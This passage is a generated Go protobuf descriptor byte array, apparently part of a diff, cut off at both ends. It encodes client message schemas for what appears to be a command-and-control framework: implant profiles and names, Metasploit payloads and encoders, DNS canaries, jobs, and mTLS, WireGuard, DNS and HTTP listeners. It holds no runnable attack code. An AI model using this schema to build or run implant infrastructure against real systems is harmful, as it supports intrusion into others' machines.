0x43, 0x65, 0x72, 0x74, 0x18, 0x11, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, 0x0a, + 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x12, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, 0x6c, + 0x73, 0x4b, 0x65, 0x79, 0x18, 0x13, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, 0x73, + 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x18, 0x14, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x22, 0x6c, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x47, + 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, + 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, + 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, 0x6f, 0x73, + 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x16, 0x0a, + 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, + 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x22, + 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, + 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, + 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, + 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x04, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, + 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, 0x48, 0x0a, + 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x73, + 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, + 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, + 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, 0x65, 0x74, 0x61, + 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x18, + 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, + 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, + 0x12, 0x36, 0x0a, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, 0x05, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, + 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xd7, 0x01, 0x0a, 0x09, 0x44, 0x4e, + 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, + 0x61, 0x69, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, + 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, + 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, + 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, + 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, + 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, + 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, + 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, + 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x65, + 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, + 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, + 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, + 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, + 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, + 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, + 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, + 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, + 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, + 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x52, 0x65, 0x73, 0x74, + 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x6f, 0x62, + 0x49, 0x44, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x06, 0x4a, 0x6f, 0x62, 0x49, 0x44, + 0x73, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, + 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xda, 0x02, 0x0a, 0x0b, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, + 0x62, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, + 0x12, 0x35, 0x0a, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, + 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x4d, + 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x2f, 0x0a, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, + 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x52, 0x06, 0x57, 0x47, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x32, 0x0a, 0x07, 0x44, 0x4e, 0x53, 0x43, + 0x6f, 0x6e, 0x66, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x52, 0x07, 0x44, 0x4e, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x35, 0x0a, 0x08, + 0x48, 0x54, 0x54, 0x50, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x08, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x6f, 0x6e, 0x66, 0x12, 0x3e, 0x0a, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x43, 0x6f, 0x6e, 0x66, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x43, + 0x6f, 0x6e, 0x66, 0x22, 0x40, 0x0a, 0x16, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79, + 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x22, 0x39, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x22, 0x7d, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, + 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, + 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x22, + 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, + 0x22, 0xd5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, 0x04, + 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, + 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, + 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, + 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, + 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 